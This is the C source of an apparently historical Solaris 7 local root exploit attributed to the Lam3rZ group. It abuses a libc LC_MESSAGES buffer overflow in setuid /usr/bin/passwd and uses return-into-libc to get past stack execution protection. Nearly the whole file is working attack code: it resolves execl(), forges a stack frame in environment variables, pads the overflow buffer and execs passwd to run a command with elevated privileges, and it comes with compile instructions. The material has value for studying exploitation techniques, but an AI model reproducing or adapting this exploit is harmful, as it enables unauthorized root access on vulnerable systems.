/*
 
   31lc_messages, exploit for (some) Solaris 7 and libc LC_MESSAGES bug.
 
   Exploit (c)Lam3rZ Group by Kil3r of Lam3rZ based (;) on:
   lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
 
   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for use.
 
   to compile:
 
   gcc 3lc_messages_passwd_stack_solaris7.c \
   `ldd /usr/bin/passwd | sed -e s/^.lib/-l/ | cut -d'.' -f1`
 
   !!! WARNING !!!
   For education and INTERNAL Lam3rZ use ONLY!!!
 
   username@host:~ > /usr/bin/passwd
   passwd:  Changing password for username
   Enter login password:
 
   If this sploit won't work test the one for Solaris 2.6
   (3lc_messages_passwd_stack.c) it may work better on some hardware :)
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define BUF_LENGTH 1600
#define EV          "LC_MESSAGES="

int main(int argc, char *argv[])
{
  char buf[BUF_LENGTH * 2];
  char teststring[BUF_LENGTH * 2];
  char *env[11];
  char fakeframe[512];
  char padding[64];
  char platform[256];

  void *handle;
  long execl_addr;

  u_char *char_p;
  u_long *long_p;
  int i;
  int pad=31;

  if (argc==2) pad+=atoi(argv[1]);

  if (!(handle=dlopen(NULL,RTLD_LAZY)))
    {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
    }

  if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
    {
      fprintf(stderr,"Can't find execl().\n");
      exit(1);
    }

  execl_addr-=4;

  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
      !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
    {
      fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
      exit(1);
    }

  printf("found execl() at %lx\n",execl_addr);

  char_p=buf;

  memset(char_p,'A',BUF_LENGTH);

  /* now we set up our fake stack frame in env */

  memset (fakeframe,'Q',512);
  long_p=(long *)fakeframe;

  *long_p++=0xdeadbeef; // we don't care about locals
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;

  // %i registers
  *long_p++=0xffbeffb4-8; // points to our string to exec
  *long_p++=0xffbeffb4-7; // argv[1] is a copy of argv[0]
  *long_p++=0x0;        // NULL for execl();
  *long_p++=0xffbefe98;
  *long_p++=0xffbefe98;
  *long_p++=0xffbefe98;
  *long_p++=0xffbefe98; // this just has to be somewhere it can work with
  *long_p++=0x11111111; // doesn't matter b/c we exec
  *long_p++=0x0;

  /* This gives us some padding to play with */

  memset(teststring,'Z',BUF_LENGTH);
  teststring[BUF_LENGTH]=0;

  sysinfo(SI_PLATFORM,platform,256);

  pad+=20-strlen(platform);

  for (i=0;i<pad;padding[i++]='C')
    padding[i]=0;
  memcpy(buf,EV,strlen(EV));

  for (i=1096; i<=1180;i+=4)
    {
      buf[i+3]=execl_addr & 0xff;
      buf[i+2]=(execl_addr >> 8) & 0xff;
      buf[i+1]=(execl_addr >> 16) & 0xff;
      buf[i+0]=(execl_addr >>24) & 0xff;
    }

  long_p=(unsigned long *) (char_p+1176);
  *long_p++=0xffbef930-8;
  //*long_p++=execl_addr;

  buf[1600]=0;

  env[0]=buf;
  env[1]=(fakeframe);
  env[2]=&(fakeframe[40]);
  env[3]=&(fakeframe[40]);
  env[4]=&(fakeframe[40]);
  env[5]=&(fakeframe[44]);
  env[6]=teststring;
  env[7]="A=/bin/id"; /* Under Solaris, /bin/sh will drop it's privileges
                            if it is run with a non-zero ruid, and an euid
                            of zero. */
  env[8]=padding;
  env[9]=NULL;

  execle("/usr/bin/passwd","passwd",(char *)0,env);
  perror("execle failed");
}
